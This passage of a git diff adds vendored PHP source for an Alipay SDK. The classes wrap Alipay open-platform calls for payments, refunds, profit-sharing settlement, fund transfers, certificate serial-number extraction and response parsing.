AlipayResponseException($result); + } + } + + /** + * 页面跳转接口,返回form表单html + * + * @param string $apiName 接口名称 + * @param array|null $bizContent 请求参数的集合 + * @param array|null $params 其他公共参数 + * @return string + * @throws Exception + */ + public function aopPageExecute(string $apiName, array $bizContent = null, array $params = null): string + { + $request = new AlipayRequest(); + $request->setApiMethodName($apiName); + $request->setNotifyUrl($this->notifyUrl); + $request->setReturnUrl($this->returnUrl); + $request->setAppAuthToken($this->appAuthToken); + $request->setBizContent($bizContent); + if (is_array($params) && count($params) > 0) { + $request->setOtherParams($params); + } + if (!empty($this->pageMethod)) { + switch ($this->pageMethod) { + case '2': + $httpmethod = 'REDIRECT'; + break; + case '1': + $httpmethod = 'GET'; + break; + default: + $httpmethod = 'POST'; + break; + } + return $this->client->pageExecute($request, $httpmethod); + } else { + return $this->client->pageExecute($request); + } + } + + /** + * APP接口,返回收银台SDK的字符串 + * + * @param string $apiName 接口名称 + * @param array|null $bizContent 请求参数的集合 + * @param array|null $params 其他公共参数 + * @return string + */ + public function aopSdkExecute(string $apiName, array $bizContent = null, array $params = null): string + { + $request = new AlipayRequest(); + $request->setApiMethodName($apiName); + $request->setNotifyUrl($this->notifyUrl); + $request->setAppAuthToken($this->appAuthToken); + $request->setBizContent($bizContent); + if (is_array($params) && count($params) > 0) { + $request->setOtherParams($params); + } + return $this->client->sdkExecute($request); + } + + /** + * 回调验签 + * @param array $params 支付宝返回的信息 + * @return bool + */ + public function check(array $params): bool + { + return $this->client->verify($params); + } + + /** + * 记录日志 + */ + public function writeLog($text) + { + if (empty($this->logPath)) return; + //$text=iconv("GBK", "UTF-8//IGNORE", $text); + file_put_contents($this->logPath . "log.txt", date("Y-m-d H:i:s") . " " . $text . "\r\n", FILE_APPEND); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipaySettleService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipaySettleService.php new file mode 100644 index 0000000..0ecccb1 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipaySettleService.php @@ -0,0 +1,200 @@ + $type, + 'account' => $account, + ]; + if(!empty($name)) $receiver['name'] = $name; + $bizContent = array( + 'receiver_list' => [ + $receiver + ], + 'out_request_no' => $out_request_no, + ); + $this->aopExecute($apiName, $bizContent); + return true; + } + + /** + * 分账关系解绑 + * @param string $type 分账接收方方类型(userId,loginName,openId) + * @param string $account 分账接收方账号 + * @return bool + * @throws Exception + */ + public function relation_unbind(string $type, string $account): bool + { + $apiName = 'alipay.trade.royalty.relation.unbind'; + $out_request_no = date("YmdHis").rand(11111,99999); + $receiver = [ + 'type' => $type, + 'account' => $account, + ]; + $bizContent = array( + 'receiver_list' => [ + $receiver + ], + 'out_request_no' => $out_request_no, + ); + $this->aopExecute($apiName, $bizContent); + return true; + } + + /** + * 分账关系查询 + * @param int $page_num 页码 + * @param int $page_size 每页条数 + * @return array + * @throws Exception + */ + public function relation_batchquery(int $page_num = 1, int $page_size = 20): array + { + $apiName = 'alipay.trade.royalty.relation.batchquery'; + $out_request_no = date("YmdHis").rand(11111,99999); + $bizContent = array( + 'page_num' => $page_num, + 'page_size' => $page_size, + 'out_request_no' => $out_request_no, + ); + $result = $this->aopExecute($apiName, $bizContent); + return $result['receiver_list']; + } + + /** + * 分账请求 + * @param string $trade_no 支付宝订单号 + * @param string $type 收入方账户类型(userId,cardAliasNo,loginName,openId) + * @param string $account 收入方账户 + * @param numeric $money 分账的金额 + * @return mixed {"trade_no":"支付宝交易号","settle_no":"支付宝分账单号"} + * @throws Exception + */ + public function order_settle(string $trade_no, string $type, string $account, $money) { + $apiName = 'alipay.trade.order.settle'; + $out_request_no = date("YmdHis").rand(11111,99999); + $receiver = [ + 'trans_in_type' => $type, + 'trans_in' => $account, + 'amount' => $money + ]; + $bizContent = array( + 'out_request_no' => $out_request_no, + 'trade_no' => $trade_no, + 'royalty_parameters' => [ + $receiver + ], + 'extend_params' => [ + 'royalty_finish' => 'true' + ] + ); + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 解冻剩余资金 + * @param string $trade_no 支付宝订单号 + * @return mixed {"trade_no":"支付宝交易号","settle_no":"支付宝分账单号"} + * @throws Exception + */ + public function order_settle_unfreeze(string $trade_no) { + $apiName = 'alipay.trade.order.settle'; + $out_request_no = date("YmdHis").rand(11111,99999); + $bizContent = array( + 'out_request_no' => $out_request_no, + 'trade_no' => $trade_no, + 'extend_params' => [ + 'royalty_finish' => 'true' + ], + ); + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 分账查询 + * @param string $settle_no 支付宝分账单号 + * @return mixed {"out_request_no":"商户分账请求单号","operation_dt":"分账受理时间","royalty_detail_list":[{"operation_type":"transfer","execute_dt":"分账执行时间","trans_out":"2088111111111111","trans_out_type":"userId","trans_in":"2088111111112222","trans_in_type":"userId","amount":10,"state":"FAIL","error_code":"TXN_RESULT_ACCOUNT_BALANCE_NOT_ENOUGH","error_desc":"分账余额不足"}]} + * @throws Exception + */ + public function order_settle_query(string $settle_no) { + $apiName = 'alipay.trade.order.settle.query'; + $bizContent = array( + 'settle_no' => $settle_no, + ); + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 分账比例查询 + * @return mixed {"user_id":"2088XXXX1234","max_ratio":80} + * @throws Exception + */ + public function rate_query() { + $apiName = 'alipay.trade.royalty.rate.query'; + $out_request_no = date("YmdHis").rand(11111,99999); + $bizContent = array( + 'out_request_no' => $out_request_no, + ); + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 退分账 + * @param string $trade_no 支付宝交易号 + * @param string $type 支出方账户类型(userId,loginName) + * @param string $account 支出方账户 + * @param numeric $money 分账的金额 + * @return true + * @throws Exception + */ + public function order_settle_refund(string $trade_no, string $type, string $account, $money): bool + { + $apiName = 'alipay.trade.refund'; + $out_request_no = date("YmdHis").rand(11111,99999); + $receiver = [ + 'royalty_type' => 'transfer', + 'trans_out_type' => $type, + 'trans_out' => $account, + 'amount' => $money + ]; + $bizContent = array( + 'trade_no' => $trade_no, + 'refund_amount' => '0', + 'out_request_no' => $out_request_no, + 'refund_royalty_parameters' => [ + $receiver + ], + ); + $this->aopExecute($apiName, $bizContent); + return true; + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayTradeService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayTradeService.php new file mode 100644 index 0000000..f756c9b --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayTradeService.php @@ -0,0 +1,409 @@ +smid = $config['smid']; + } + if (isset($config['notify_url'])) { + $this->notifyUrl = $config['notify_url']; + } + if (isset($config['return_url'])) { + $this->returnUrl = $config['return_url']; + } + } + + /** + * 付款码支付 + * @param array $bizContent 请求参数的集合 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","open_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号"} + * @throws Exception + * @see https://opendocs.alipay.com/open/02ekfp?ref=api&scene=32 + */ + public function scanPay(array $bizContent) + { + $apiName = 'alipay.trade.pay'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 扫码支付 + * @param array $bizContent 请求参数的集合 + * @return mixed {"out_trade_no":"商户订单号","qr_code":"二维码链接"} + * @throws Exception + * @see https://opendocs.alipay.com/open/02ekfg?ref=api&scene=19 + */ + public function qrPay(array $bizContent) + { + $apiName = 'alipay.trade.precreate'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * JS支付 + * @param array $bizContent 请求参数的集合 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号"} + * @throws Exception + * @see https://opendocs.alipay.com/open/02ekfj?ref=api + */ + public function jsPay(array $bizContent) + { + $apiName = 'alipay.trade.create'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * APP支付 + * @param array $bizContent 请求参数的集合 + * @return string SDK请求串 + * @see https://opendocs.alipay.com/open/02e7gq?ref=api&scene=20 + */ + public function appPay(array $bizContent): string + { + $apiName = 'alipay.trade.app.pay'; + return $this->aopSdkExecute($apiName, $bizContent); + } + + /** + * 电脑网站支付 + * @param array $bizContent 请求参数的集合 + * @return string html表单 + * @throws Exception + * @see https://opendocs.alipay.com/open/028r8t?ref=api&scene=22 + */ + public function pagePay(array $bizContent): string + { + $apiName = 'alipay.trade.page.pay'; + $bizContent['product_code'] = 'FAST_INSTANT_TRADE_PAY'; + return $this->aopPageExecute($apiName, $bizContent); + } + + /** + * 手机网站支付 + * @param array $bizContent 请求参数的集合 + * @return string html表单 + * @throws Exception + * @see https://opendocs.alipay.com/open/02ivbs?ref=api&scene=21 + */ + public function wapPay(array $bizContent): string + { + $apiName = 'alipay.trade.wap.pay'; + $bizContent['product_code'] = 'QUICK_WAP_WAY'; + return $this->aopPageExecute($apiName, $bizContent); + } + + /** + * 交易查询 + * @param string|null $trade_no 支付宝交易号 + * @param string|null $out_trade_no 商户订单号 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","open_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号","trade_status":"TRADE_SUCCESS","total_amount":88.88} + * @throws Exception + */ + public function query(string $trade_no = null, string $out_trade_no = null) + { + $apiName = 'alipay.trade.query'; + $bizContent = []; + if ($trade_no) { + $bizContent['trade_no'] = $trade_no; + } + if ($out_trade_no) { + $bizContent['out_trade_no'] = $out_trade_no; + } + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 交易是否成功 + * @param null $trade_no 支付宝交易号 + * @param null $out_trade_no 商户订单号 + * @return bool + * @throws Exception + */ + public function queryResult($trade_no = null, $out_trade_no = null): bool + { + $result = $this->query($trade_no, $out_trade_no); + if (isset($result['code']) && $result['code'] == '10000') { + if ($result['trade_status'] == 'TRADE_SUCCESS' || $result['trade_status'] == 'TRADE_FINISHED' || $result['trade_status'] == 'TRADE_CLOSED') { + return true; + } + } + return false; + } + + /** + * 交易退款 + * @param array $bizContent 请求参数的集合 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","buyer_user_id":"买家支付宝userid","buyer_logon_id":"买家支付宝账号","fund_change":"Y","refund_fee":88.88} + * @throws Exception + * @see https://opendocs.alipay.com/open/02ekfk?ref=api + */ + public function refund(array $bizContent) + { + $apiName = 'alipay.trade.refund'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 交易退款查询 + * @param array $bizContent 请求参数的集合 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","out_request_no":"退款请求号","refund_status":"REFUND_SUCCESS","total_amount":88.88,"refund_amount":88.88} + * @throws Exception + */ + public function refundQuery(array $bizContent) + { + $apiName = 'alipay.trade.fastpay.refund.query'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 交易撤销 + * @param array $bizContent 请求参数的集合 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号","retry_flag":"N是否需要重试","action":"close本次撤销触发的交易动作"} + * @throws Exception + */ + public function cancel(array $bizContent) + { + $apiName = 'alipay.trade.cancel'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 交易关闭 + * @param array $bizContent 请求参数的集合 + * @return mixed {"trade_no":"支付宝交易号","out_trade_no":"商户订单号"} + * @throws Exception + */ + public function close(array $bizContent) + { + $apiName = 'alipay.trade.close'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 查询对账单下载地址 + * @param array $bizContent 请求参数的集合 + * @return mixed {"bill_download_url":"账单下载地址"} + * @throws Exception + */ + public function downloadurlQuery(array $bizContent) + { + $apiName = 'alipay.data.dataservice.bill.downloadurl.query'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 支付回调验签 + * @param $params array + * @return bool + * @throws Exception + */ + public function check(array $params): bool + { + $result = $this->client->verify($params); + if($result){ + $result = $this->queryResult($params['trade_no']); + } + return $result; + } + + /** + * 互联网直付通交易额外参数 + * @param array &$bizContent 请求参数的集合 + * @param string $settle_period_time 最晚结算周期 + * @throws Exception + * @see https://opendocs.alipay.com/open/direct-payment/qadp9d + */ + public function directPayParams(array &$bizContent, string $settle_period_time = '1d') + { + if (empty($this->smid)) { + throw new Exception("子商户SMID不能为空"); + } + if(strpos($this->smid, ',')){ + $smids = explode(',', $this->smid); + $this->smid = $smids[array_rand($smids)]; + } + $bizContent['sub_merchant'] = ['merchant_id' => $this->smid]; + $bizContent['settle_info'] = [ + 'settle_period_time' => $settle_period_time, + 'settle_detail_infos' => [ + [ + 'trans_in_type' => 'defaultSettle', + 'amount' => $bizContent['total_amount'] + ] + ] + ]; + } + + /** + * 互联网直付通确认结算 + * @param string $trade_no 支付宝交易号 + * @param numeric $settle_amount 结算金额 + * @param bool $freeze 冻结标识 + * @return mixed {"trade_no":"支付宝交易号","out_request_no":"确认结算请求流水号","settle_amount":"结算金额"} + * @throws Exception + * @see https://opendocs.alipay.com/open/direct-payment/gkvknf + */ + public function settle_confirm(string $trade_no, $settle_amount, bool $freeze = false) + { + $apiName = 'alipay.trade.settle.confirm'; + $out_request_no = date("YmdHis").rand(11111,99999); + $bizContent = array( + 'out_request_no' => $out_request_no, + 'trade_no' => $trade_no, + 'settle_info' => [ + 'settle_detail_infos' => [ + [ + 'trans_in_type' => 'defaultSettle', + 'amount' => $settle_amount + ] + ] + ], + ); + if($freeze){ + $bizContent['extend_params'] = ['royalty_freeze' => 'true']; + } + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 合并支付预创建 + * @param array $bizContent 请求参数的集合 + * @return mixed {"out_merge_no":"合单订单号","pre_order_no":"预下单号"} + * @throws Exception + * @see https://opendocs.alipay.com/open/028xr9 + */ + public function mergePrecreatePay(array $bizContent) + { + $apiName = 'alipay.trade.merge.precreate'; + $params = null; + if (!empty($this->returnUrl)) { + $params['return_url'] = $this->returnUrl; + } + return $this->aopExecute($apiName, $bizContent, $params); + } + + /** + * 手机网站合单支付 + * @param array $bizContent 请求参数的集合 + * @return string html表单 + * @throws Exception + * @see https://opendocs.alipay.com/open/028xra + */ + public function wapMergePay(array $bizContent): string + { + $apiName = 'alipay.trade.wap.merge.pay'; + return $this->aopPageExecute($apiName, $bizContent); + } + + /** + * APP合单支付 + * @param array $bizContent 请求参数的集合 + * @return string SDK请求串 + * @see https://opendocs.alipay.com/open/028py8 + */ + public function appMergePay(array $bizContent): string + { + $apiName = 'alipay.trade.app.merge.pay'; + return $this->aopSdkExecute($apiName, $bizContent); + } + + /** + * 小程序合单支付 + * @param array $bizContent 请求参数的集合 + * @return mixed {"out_merge_no":"外部合并单号","merge_no":"合并交易号","order_detail_results":[]} + * @throws Exception + * @see https://opendocs.alipay.com/open/0a0yaq + */ + public function mergeCreate(array $bizContent) + { + $apiName = 'alipay.trade.merge.create'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 线上资金授权冻结 + * @param array $bizContent 请求参数的集合 + * @return string SDK请求串 + * @see https://opendocs.alipay.com/open/repo-0243e2 + */ + public function preAuthFreeze(array $bizContent): string + { + $apiName = 'alipay.fund.auth.order.app.freeze'; + return $this->aopSdkExecute($apiName, $bizContent); + } + + /** + * 资金授权解冻 + * @param array $bizContent 请求参数的集合 + * @return mixed + * @throws Exception + */ + public function preAuthUnfreeze(array $bizContent) + { + $apiName = 'alipay.fund.auth.order.unfreeze'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 资金授权撤销 + * @param array $bizContent 请求参数的集合 + * @return mixed + * @throws Exception + */ + public function preAuthCancel(array $bizContent) + { + $apiName = 'alipay.fund.auth.operation.cancel'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 资金授权操作查询接口 + * @param array $bizContent 请求参数的集合 + * @return mixed + * @throws Exception + */ + public function preAuthQuery(array $bizContent) + { + $apiName = 'alipay.fund.auth.operation.detail.query'; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 资金转账页面支付接口 + * @param array $bizContent 请求参数的集合 + * @return string + * @throws Exception + */ + public function transPagePay(array $bizContent): string + { + $apiName = 'alipay.fund.trans.page.pay'; + return $this->aopPageExecute($apiName, $bizContent); + } + + /** + * 现金红包无线支付接口 + * @param array $bizContent 请求参数的集合 + * @return string + */ + public function transAppPay(array $bizContent): string + { + $apiName = 'alipay.fund.trans.app.pay'; + return $this->aopSdkExecute($apiName, $bizContent); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayTransferService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayTransferService.php new file mode 100644 index 0000000..c9ab0c6 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayTransferService.php @@ -0,0 +1,197 @@ +isCertMode) { + $apiName = 'alipay.fund.trans.uni.transfer'; + switch($is_userid) { + case 2:$payee_type = 'ALIPAY_OPEN_ID';break; + case 1:$payee_type = 'ALIPAY_USER_ID';break; + default:$payee_type = 'ALIPAY_LOGON_ID';break; + } + $bizContent = [ + 'out_biz_no' => $out_biz_no, //商户转账唯一订单号 + 'trans_amount' => $amount, //转账金额 + 'product_code' => 'TRANS_ACCOUNT_NO_PWD', + 'biz_scene' => 'DIRECT_TRANSFER', + 'order_title' => $payer_show_name, //付款方显示名称 + 'payee_info' => array('identity' => $payee_account, 'identity_type' => $payee_type), + 'business_params' => json_encode(['payer_show_name_use_alias'=>'true']), + ]; + if(!empty($payee_real_name))$bizContent['payee_info']['name'] = $payee_real_name; //收款方真实姓名 + } else { + $apiName = 'alipay.fund.trans.toaccount.transfer'; + $payee_type = $is_userid?'ALIPAY_USERID':'ALIPAY_LOGONID'; + $bizContent = [ + 'out_biz_no' => $out_biz_no, //商户转账唯一订单号 + 'payee_type' => $payee_type, //收款方账户类型 + 'payee_account' => $payee_account, //收款方账户 + 'amount' => $amount, //转账金额 + 'payer_show_name' => $payer_show_name, //付款方显示姓名 + ]; + if(!empty($payee_real_name))$bizContent['payee_real_name'] = $payee_real_name; //收款方真实姓名 + } + + $result = $this->aopExecute($apiName, $bizContent); + if(isset($result['pay_date'])) $result['trans_date'] = $result['pay_date']; + return $result; + } + + /** + * 转账到银行卡账户 + * @param string $out_biz_no 商户转账唯一订单号 + * @param numeric $amount 转账金额 + * @param string $payee_account 收款方账户 + * @param string $payee_real_name 收款方姓名 + * @param string $payer_show_name 付款方显示姓名 + * @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"} + * @throws Exception + */ + public function transferToBankCard(string $out_biz_no, $amount, string $payee_account, string $payee_real_name, string $payer_show_name) + { + $apiName = 'alipay.fund.trans.uni.transfer'; + $bizContent = [ + 'out_biz_no' => $out_biz_no, //商户转账唯一订单号 + 'trans_amount' => $amount, //转账金额 + 'product_code' => 'TRANS_BANKCARD_NO_PWD', + 'biz_scene' => 'DIRECT_TRANSFER', + 'order_title' => $payer_show_name, //付款方显示名称 + 'payee_info' => array( + 'identity_type' => 'BANKCARD_ACCOUNT', + 'identity' => $payee_account, + 'name' => $payee_real_name, + 'bankcard_ext_info' => array( + 'account_type' => '2' + ) + ), + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 转账单据查询 + * @param string $order_id 订单号 + * @param int $type 订单号类型(0=支付宝转账单据号,1=支付宝支付资金流水号,2=商户转账唯一订单号) + * @param int $code 产品类型(0=转账到支付宝账户,1=转账到银行卡) + * @return mixed {"order_id":"支付宝转账单据号","pay_fund_order_id":"支付宝支付资金流水号","out_biz_no":"商户转账唯一订单号","trans_amount":1,"status":"SUCCESS","pay_date":"支付时间","error_code":"PAYEE_CARD_INFO_ERROR","fail_reason":"收款方银行卡信息有误"} + * @throws Exception + */ + public function query(string $order_id, int $type=0, int $code = 0) + { + $apiName = 'alipay.fund.trans.common.query'; + $bizContent = []; + if($type==1){ + $bizContent['pay_fund_order_id'] = $order_id; + }elseif($type==2){ + $bizContent['out_biz_no'] = $order_id; + }else{ + $bizContent['order_id'] = $order_id; + } + if($type==2){ + $bizContent['product_code'] = $code == 1 ? 'TRANS_BANKCARD_NO_PWD' : 'TRANS_ACCOUNT_NO_PWD'; + $bizContent['biz_scene'] = 'DIRECT_TRANSFER'; + } + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 账户余额查询 + * @param string $alipay_user_id 支付宝用户ID + * @param int $user_type 用户标识类型(0支付宝UID,1支付宝openid) + * @return mixed {"available_amount":"账户可用余额","freeze_amount":"实时冻结余额"} + * @throws Exception + */ + public function accountQuery(string $alipay_user_id = null, int $user_type = 0) + { + $apiName = 'alipay.fund.account.query'; + if($user_type == 1){ + $bizContent = [ + 'alipay_open_id' => $alipay_user_id, + 'account_type' => 'ACCTRANS_ACCOUNT', + ]; + }else{ + $bizContent = [ + 'alipay_user_id' => $alipay_user_id, + 'account_type' => 'ACCTRANS_ACCOUNT', + ]; + } + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 现金红包转账接口 + * @param string $out_biz_no 商户转账唯一订单号 + * @param numeric $amount 转账金额 + * @param string $user_id 收款方账户 + * @param string $order_title 转账业务的标题 + * @param null $original_order_id 原支付宝业务单号 + * @return mixed {"out_biz_no":"商户订单号","order_id":"支付宝转账订单号","pay_fund_order_id":"支付宝支付资金流水号","status":"SUCCESS","trans_date":"订单支付时间"} + * @throws Exception + */ + public function redPacketTansfer(string $out_biz_no, $amount, string $user_id, string $order_title, $original_order_id = null) + { + $apiName = 'alipay.fund.trans.uni.transfer'; + $bizContent = [ + 'out_biz_no' => $out_biz_no, + 'trans_amount' => $amount, + 'product_code' => 'STD_RED_PACKET', + 'biz_scene' => 'PERSONAL_COLLECTION', + 'order_title' => $order_title, + 'payee_info' => array('identity' => $user_id, 'identity_type' => 'ALIPAY_USER_ID'), + 'business_params' => json_encode(['sub_biz_scene'=>'REDPACKET'], JSON_UNESCAPED_UNICODE) + ]; + if($original_order_id) $bizContent['original_order_id'] = $original_order_id; + + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 红包资金退回接口 + * @param string $out_request_no 标识一次资金退回请求 + * @param string $order_id 发红包时支付宝返回的支付宝订单号 + * @param numeric $refund_amount 需要退款的金额 + * @return mixed {"refund_order_id":"退款的支付宝系统内部单据id","order_id":"发红包时支付宝返回的支付宝订单号","out_request_no":"标识一次资金退回请求","status":"SUCCESS","refund_amount":"本次退款的金额","refund_date":"时间"} + * @throws Exception + */ + public function redPacketRefund(string $out_request_no, string $order_id, $refund_amount) + { + $apiName = 'alipay.fund.trans.refund'; + $bizContent = [ + 'order_id' => $order_id, + 'out_request_no' => $out_request_no, + 'refund_amount' => $refund_amount, + ]; + + return $this->aopExecute($apiName, $bizContent); + } + +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayCertHelper.php b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayCertHelper.php new file mode 100644 index 0000000..1109f30 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayCertHelper.php @@ -0,0 +1,78 @@ + $value) { + $string[] = $key . '=' . $value; + } + } + return implode(',', $string); + } + + /** + * 提取根证书序列号 + * @param string $certPath 根证书 + * @return string|null + */ + public static function getRootCertSN(string $certPath): ?string + { + $cert = file_get_contents($certPath); + $array = explode("-----END CERTIFICATE-----", $cert); + $SN = null; + for ($i = 0; $i < count($array) - 1; $i++) { + $ssl[$i] = openssl_x509_parse($array[$i] . "-----END CERTIFICATE-----"); + if(strpos($ssl[$i]['serialNumber'],'0x') === 0){ + $ssl[$i]['serialNumber'] = self::hex2dec($ssl[$i]['serialNumberHex']); + } + if ($ssl[$i]['signatureTypeLN'] == "sha1WithRSAEncryption" || $ssl[$i]['signatureTypeLN'] == "sha256WithRSAEncryption") { + if ($SN == null) { + $SN = md5(self::array2string(array_reverse($ssl[$i]['issuer'])) . $ssl[$i]['serialNumber']); + } else { + $SN = $SN . "_" . md5(self::array2string(array_reverse($ssl[$i]['issuer'])) . $ssl[$i]['serialNumber']); + } + } + } + return $SN; + } + + /** + * 0x转高精度数字 + * @param $hex + * @return int|string + */ + private static function hex2dec($hex) + { + $dec = 0; + $len = strlen($hex); + for ($i = 1; $i <= $len; $i++) { + $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i)))); + } + return $dec; + } + +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayRequest.php b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayRequest.php new file mode 100644 index 0000000..f055f40 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayRequest.php @@ -0,0 +1,158 @@ + $value) { + $this->{$key} = $value; + } + } + + /** + * 获取用于发起请求的“时间戳”. + * + * @return string + */ + public static function getTimestamp(): string + { + return date('Y-m-d H:i:s'); + } + + /** + * 根据类名获取 API 方法名. + * + * @return string + */ + public function getApiMethodName(): string + { + return $this->apiMethodName; + } + + public function setApiMethodName($apiMethodName): AlipayRequest + { + $this->apiMethodName = $apiMethodName; + + return $this; + } + + public function getNotifyUrl() + { + return $this->notifyUrl; + } + + public function setNotifyUrl($notifyUrl): AlipayRequest + { + $this->notifyUrl = $notifyUrl; + + return $this; + } + + public function getReturnUrl() + { + return $this->returnUrl; + } + + public function setReturnUrl($returnUrl): AlipayRequest + { + $this->returnUrl = $returnUrl; + + return $this; + } + + public function getTerminalType() + { + return $this->terminalType; + } + + public function setTerminalType($terminalType): AlipayRequest + { + $this->terminalType = $terminalType; + + return $this; + } + + public function getTerminalInfo() + { + return $this->terminalInfo; + } + + public function setTerminalInfo($terminalInfo): AlipayRequest + { + $this->terminalInfo = $terminalInfo; + + return $this; + } + + public function getProdCode() + { + return $this->prodCode; + } + + public function setProdCode($prodCode): AlipayRequest + { + $this->prodCode = $prodCode; + + return $this; + } + + public function getAuthToken() + { + return $this->authToken; + } + + public function setAuthToken($authToken): AlipayRequest + { + $this->authToken = $authToken; + + return $this; + } + + public function getAppAuthToken() + { + return $this->appAuthToken; + } + + public function setAppAuthToken($appAuthToken): AlipayRequest + { + $this->appAuthToken = $appAuthToken; + + return $this; + } + + public function getBizContent() + { + if (is_array($this->bizContent)) { + return json_encode($this->bizContent, JSON_UNESCAPED_UNICODE); + } + return $this->bizContent; + } + + public function setBizContent($bizContent = []): AlipayRequest + { + $this->bizContent = $bizContent; + + return $this; + } + +} diff --git a/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayResponse.php b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayResponse.php new file mode 100644 index 0000000..b67e86a --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayResponse.php @@ -0,0 +1,183 @@ +raw = $raw; + $this->parsed = json_decode($raw, true); + if (!$this->parsed) { + $error = function_exists('json_last_error_msg') ? json_last_error_msg() : json_last_error(); + throw new \Exception('返回数据解析失败:'.$error); + } + $this->parseResponseData($apiName); + } + + /** + * 获取原始响应的被签名数据,用于验证签名. + * + * @param string $apiName + * @throws \Exception + */ + protected function parseResponseData(string $apiName) + { + $nodeName = str_replace(".", "_", $apiName) . self::RESPONSE_SUFFIX; + $nodeIndex = strpos($this->raw, $nodeName); + if (!$nodeIndex) { + $nodeName = self::ERROR_NODE; + $nodeIndex = strpos($this->raw, $nodeName); + if(!$nodeIndex){ + throw new \Exception('Response data not found'); + } + } + $this->nodeName = $nodeName; + + $signDataStartIndex = $nodeIndex + strlen($nodeName) + 2; + $signIndex = strrpos($this->raw, '"'.static::ALIPAY_CERT_SN.'"'); + if(!$signIndex) { + $signIndex = strrpos($this->raw, '"'.static::SIGN_NODE.'"'); + } + + $signDataEndIndex = $signIndex - 1; + $indexLen = $signDataEndIndex - $signDataStartIndex; + if ($indexLen < 0) { + return; + } + + $this->signData = substr($this->raw, $signDataStartIndex, $indexLen); + } + + /** + * 获取待验签数据 + * + * @return string + */ + public function getSignData(): ?string + { + return $this->signData; + } + + /** + * 获取响应内的签名. + * + * @return string + */ + public function getSign(): ?string + { + if (isset($this->parsed[static::SIGN_NODE])) { + return $this->parsed[static::SIGN_NODE]; + } + return null; + } + + /** + * 获取响应内的数据. + * + * @param bool $assoc + * + * @return mixed|object + */ + public function getData(bool $assoc = true) + { + if (!isset($this->parsed[$this->nodeName])){ + return null; + } + $result = $this->parsed[$this->nodeName]; + if (!$assoc) { + $result = (object) ($result); + } + return $result; + } + + /** + * 判断响应是否成功. + * + * @return bool + */ + public function isSuccess(): bool + { + if (isset($this->parsed[static::ERROR_NODE])) { + return false; + } + if (!isset($this->parsed[$this->nodeName])){ + return false; + } + $data = $this->parsed[$this->nodeName]; + return isset($data['code']) && $data['code'] == '10000'; + } + + /** + * 获取原始响应. + * + * @return string + */ + public function getRaw(): string + { + return $this->raw; + } + + /** + * 获取支付宝公钥证书序列号 + * + * @return bool|string + */ + public function getAlipayCertSN() + { + if (isset($this->parsed[static::ALIPAY_CERT_SN])) { + return $this->parsed[static::ALIPAY_CERT_SN]; + } + return false; + } +} diff --git a/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayResponseException.php b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayResponseException.php new file mode 100644 index 0000000..61d18c6 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/Aop/AlipayResponseException.php @@ -0,0 +1,43 @@ +res = $res; + $this->retCode = $res['code']; + if (isset($res['sub_msg'])) { + $this->errCode = $res['sub_code']; + $message = '['.$res['sub_code'].']'.$res['sub_msg']; + } elseif (isset($res['msg'])) { + $message = '['.$res['code'].']'.$res['msg']; + } else { + $message = '未知错误'; + } + parent::__construct($message); + } + + public function getRetCode() + { + return $this->retCode; + } + + public function getErrCode() + { + return $this->errCode; + } + + public function getResponse(): array + { + return $this->res; + } +} \ No newline at end of file diff --git 